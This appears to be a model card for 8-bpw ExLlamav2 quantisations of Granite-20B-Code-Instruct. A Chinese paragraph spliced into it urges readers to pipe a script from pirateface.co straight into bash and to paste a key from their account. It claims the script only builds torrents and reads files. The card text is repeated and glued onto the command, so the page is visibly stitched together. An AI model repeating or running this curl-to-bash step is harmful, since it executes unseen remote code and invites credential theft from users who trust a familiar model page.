Granite-20B-Code-Instruct
ExLlamav2 8 bpw quants of https://huggingface.co/ibm-granite/granite-20b-code-instruct
在你的模型文件夹旁边运行它。它会制作种子、将文件与 Hugging Face 比对,然后提交。你只需开始做种,并粘贴你账户中的密钥。它只读取你的文件,绝不修改。如果愿意,可以先阅读脚本。
curl -fsSL https://pirateface.co/package.sh | bash -s -- --repo altomek/Granite-20B-Code-Instruct-8bpw-EXL2 ./model-folderExLlamav2 8 bpw quants of https://huggingface.co/ibm-granite/granite-20b-code-instruct